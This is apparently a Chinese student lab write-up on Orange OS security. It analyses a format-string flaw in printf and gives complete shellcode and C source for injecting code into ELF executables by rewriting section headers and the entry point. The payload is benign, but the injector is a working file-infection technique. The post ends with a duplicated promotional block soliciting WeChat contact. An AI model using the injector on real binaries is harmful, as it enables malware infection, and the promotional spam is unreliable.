漏洞带来的问题:
内存中的数据泄露,访问到不可访问内存地址出现访问错误导致操作系统卡死等。
具体分析:接下来,分析Orange OS中格式化字符串漏洞产生的具体原因。
在lib/printf.c中,可以看到printf函数的源代码:
PUBLIC int printf(const char *fmt, …)
{
int i;
char buf[STR_DEFAULT_LEN];
va_list arg = (va_list)((char*)(&fmt) + 4); /* 4 是参数 fmt 所占堆栈中的大小 */
i = vsprintf(buf, fmt, arg);
int c = write(1, buf, i);
assert(c == i);
return i;
}
分析这个printf函数,我们可以发现这其中存在以下漏洞:
(1)直接使用用户输入作为格式字符串(格式化字符串漏洞)
可以看到在printf中并没有传入后续参数的个数, 而是直接将第一个参数的地址arg和格式化字符串fmt传给了vsprintf, vsprintf函数的作用是解析格式化字符串fmt, 若是读到格式化字符, 则使用参数的值将其替换, 所以若实际上并没有与格式化字符串中的格式化字符数量相匹配的参数, 则会泄露栈中的数据。
(2)缓冲区溢出风险
buf的大小是STR_DEFAULT_LEN,这个大小是固定的。如果格式化后的字符串超过这个长度,将会导致缓冲区溢出。
(3)未对输出长度进行限制
使用vsprintf而不是vsnprintf,这个实现没有对写入buf的字符数量设置上限。这增加了缓冲区溢出的风险,因为格式化的输出可能会超过buf的容量。
下面仅对格式化字符串漏洞进行验证,因为在include/stdio.h中可以看到对STR_DEFAULT_LEN的大小定义是1024,要验证缓冲区溢出漏洞有点困难,但确实存在这个风险。
验证漏洞:
像之前分析的一样,printf(str)中如果str是%d、%s等格式化字符会造成数据泄露等问题,下面在command中新建文件test1.c编写代码来验证:
#include “stdio.h”
int main(int argc, char* argv[])
{
printf(argv[1]);
printf(“\n”);
return 0;
}
然后在Makefile中做相应修改,编译运行后得到下图:
发现确实出现了内存泄露。
2.2可执行文件的破坏(法一)
漏洞定义:
可执行文件的破坏通常指的是对可执行程序文件(如.exe文件在Windows系统中,或者Linux/Unix系统中的可执行脚本或二进制文件)的恶意修改。这种修改旨在改变程序的正常行为或使其执行恶意代码。
漏洞产生的原因:
可执行文件包含了程序运行所需的指令和数据。如果攻击者能够修改这些文件,他们就可能插入恶意代码或破坏文件的正常功能。
攻击原理:
可执行文件的破坏可以以多种方式发生:
• 恶意代码注入:攻击者向可执行文件中插入恶意代码。当文件被执行时,这段恶意代码也会被执行。
• 代码替换:攻击者替换或修改文件中的一部分,以改变其行为。
• 文件损坏:攻击者可能会算坏文件,使其无法执行或导致错误的行为。
攻击者可能通过多种途径破坏可执行文件:
• 直接访问:如果攻击者能够直接访问系统上的文件,他们可以直接修改这些文件。
• 远程利用:通过网络攻击(如病毒、蠕虫、特洛伊木马)来修改远程系统上的可执行文件。
• 通过其他漏洞:利用其他安全漏洞(如缓冲区溢出、格式化字符串漏洞等)来获取文件修改的权限。
具体分析:
使用010Editor分析command中的可执行文件,发现文件一开始都是“.ELF”,故可以将其作为elf文件的标志。
然后,在010Editor下载ELF模板并运行。可以发现,第一节的偏移量、大小都为0,不包含任何数据,它的存在主要是作为列表的起始点。第二节是代码节,都是从0x00001000开始的,并且在这之前有一大块的0:
因此,我们的注入的原理是:
读取elf文件后,保存原来的入口地址,然后在.text节前面找到一个全为0的区域(大小为恶意代码的长度inject_size),然后在这个区域注入恶意代码,最后,修改.text节的节头和第一个program header。
首先,在command中创建一个shellcode.asm文件,在里面构造恶意代码,它的功能是打印一个字符串“Surpise! DP has injected it!\n”:
[section .text]
global _start
_start:
pushad
jmp get_msg_addr
main:
pop edx
xor eax, eax
int 0x90
popad
mov ebx, 0x******** ; 随便写的入口地址(这是我学号后八位),在inject时会把原本的入口地址覆盖掉
jmp ebx
get_msg_addr:
call masmain
msg:
db “Surpise! DP has injected it!”, 0xA, 0x0 ;换行符 空字符
然后依次使用如下指令得到机器码:
nasm -f elf32 inject.asm -o inject.o
ld -s inject.o -o inject
objdump -d inject
然后在test2.c中将显示的所有机器码写成一个inject_code数组:
unsigned char inject_code[] = {
0x60, 0xeb, 0x0d, 0x5a, 0x31, 0xc0, 0xcd, 0x90, 0x61, 0xbb,
0x00, 0x00, 0x00, 0x00, 0xff, 0xe3, 0xe8, 0xee, 0xff, 0xff,
0xff, 0x53, 0x75, 0x72, 0x70, 0x69, 0x73, 0x65, 0x21, 0x20,
0x44, 0x50, 0x20, 0x68, 0x61, 0x73, 0x20, 0x69, 0x6e, 0x6a,
0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x69, 0x74, 0x21, 0x0a,
0x00
};
unsigned int inject_size = sizeof(inject_code);
# define ADDR 10 // 在inject_code代码中的偏移为10的地方保存原来的入口地址,此处预先填0
其中,偏移为ADDR(10)的位置为0x00, 0x00, 0x00, 0x00,这就是图6的0x********的位置,在注入过程中会将原入口地址填入到该偏移处。
接下来继续编写注入代码。具体思路就是首先得到文件名并读入文件之后,根据“.elf”判断它是否为elf文件,如果是的话,就首先保存原来的入口地址,然后判断代码节的前面是否有inject_size大小的全0区域,如果有的话就填入shellcode并修改代码节头和程序节头的大小和偏移,否则就报错:
// 判断是否为elf文件
int is_elf(Elf32_Ehdr elf_ehdr) {
// ELF文件头部的 e_ident 为 “0x7fELF”
if (elf_ehdr.e_ident[0] == 0x7f || elf_ehdr.e_ident[1] == 0x45 ||
elf_ehdr.e_ident[2] == 0x4c || elf_ehdr.e_ident[3] == 0x46) {
return 1;
}
return 0;
}
// unsigned int类型转换为直接在汇编指令中可用的数据的函数cal_addr
// e.g. 41424344 -> [44, 43, 42, 41]
void cal_addr(Elf32_Addr entry, int addr[]) {
int temp = entry;
int i;
for (i = 0; i < 4; i++) {
addr[i] = temp % 256; // 256 == 8byte
temp /= 256;
}
}
# define BUF_SIZE 100
// 注入
int inject(char* elf_file) {
Elf32_Ehdr elf_ehdr; // elf head
Elf32_Phdr elf_phdr; // elf program head
Elf32_Shdr elf_shdr; // elf section head
int fd = open(elf_file, O_RDWR);
read(fd, &elf_ehdr, sizeof(Elf32_Ehdr));
if(is_elf(elf_ehdr)) // 判断是否为elf文件
printf(“%s is a ELF , start to inject…\n”, elf_file);
else {
printf(“%s is not a ELF!\n”, elf_file);
return 0;
}
// 保存原来的入口地址以便后续返回
Elf32_Addr old_entry = elf_ehdr.e_entry;
int old_entry_addr[4];
cal_addr(old_entry, old_entry_addr);
printf(“old_entry: 0x%x\n”, old_entry);
// 寻找注入点
lseek(fd, elf_ehdr.e_shoff + elf_ehdr.e_shentsize, SEEK_SET);
read(fd, &elf_shdr, sizeof(elf_shdr)); // 代码节的节头
printf(“elf_shdr.sh_offset == %d”, elf_shdr.sh_offset);
int off = elf_shdr.sh_offset - inject_size;
lseek(fd, off, SEEK_SET);
char buf[BUF_SIZE];
int flag = 0; // 是否找到注入点
if(read(fd, &buf, BUF_SIZE)) {
int i = 0;
while(buf[i] == 0)
i++;
if(i >= inject_size)
flag = 1;
}
if(flag) {
printf(“Inject code offset: 0x%x\n”, off);
// 填入原来的入口地址
inject_code[ADDR] = old_entry_addr[0];
inject_code[ADDR + 1] = old_entry_addr[1];
inject_code[ADDR + 2] = old_entry_addr[2];
inject_code[ADDR + 3] = old_entry_addr[3];
// 注入恶意代码
lseek(fd, off, SEEK_SET);
write(fd, &inject_code, inject_size);
// 修改代码节的节头
elf_shdr.sh_offset -= inject_size;
elf_shdr.sh_size += inject_size;
elf_shdr.sh_addralign = 0;
elf_shdr.sh_addr = off;
lseek(fd, elf_ehdr.e_shoff + elf_ehdr.e_shentsize, SEEK_SET);
write(fd, &elf_shdr, sizeof(elf_shdr));
// 修改程序的入口点
elf_ehdr.e_entry = off;
lseek(fd, elf_ehdr.e_phoff, SEEK_SET);
read(fd, &elf_phdr, sizeof(elf_phdr));
elf_phdr.p_filesz += inject_size;
elf_phdr.p_memsz += inject_size;
elf_phdr.p_vaddr = off;
elf_phdr.p_offset = off;
elf_phdr.p_align = 0;
printf(“Modify entry address to 0x%x\n”, elf_ehdr.e_entry);
lseek(fd, 0, SEEK_SET);
write(fd, &elf_ehdr, sizeof(elf_ehdr));
lseek(fd, elf_ehdr.e_phoff, SEEK_SET);
write(fd, &elf_phdr, sizeof(elf_phdr));
close(fd);
printf(“Finish!\n”);
return 1;
}
else {
printf(“No enough space for inject!\n”);
return 0;
}
}
// 主函数
int main(int argc, char** argv) {
if (argc != 2) {
printf(“Please input inject <elf_filepath>!\n”);
exit(0);
}
if(inject(argv[1])) {
printf(“Inject success!\n”);
}
else
printf(“Inject fail!\n”);
return 0;
}
编译运行,得到下图结果:
其实这存在一些问题,因为我单独写这个的时候没有报错,但是当我与别的结合在一起后,我发现根本就注入不了了,也不知道为啥。还会报下面的错:
所以我又用另一个比较硬核的方法去研究。 (虽然也没成功)
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
g-LldQCeax-1712630680204)]
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-KK9E8faY-1712630680204)]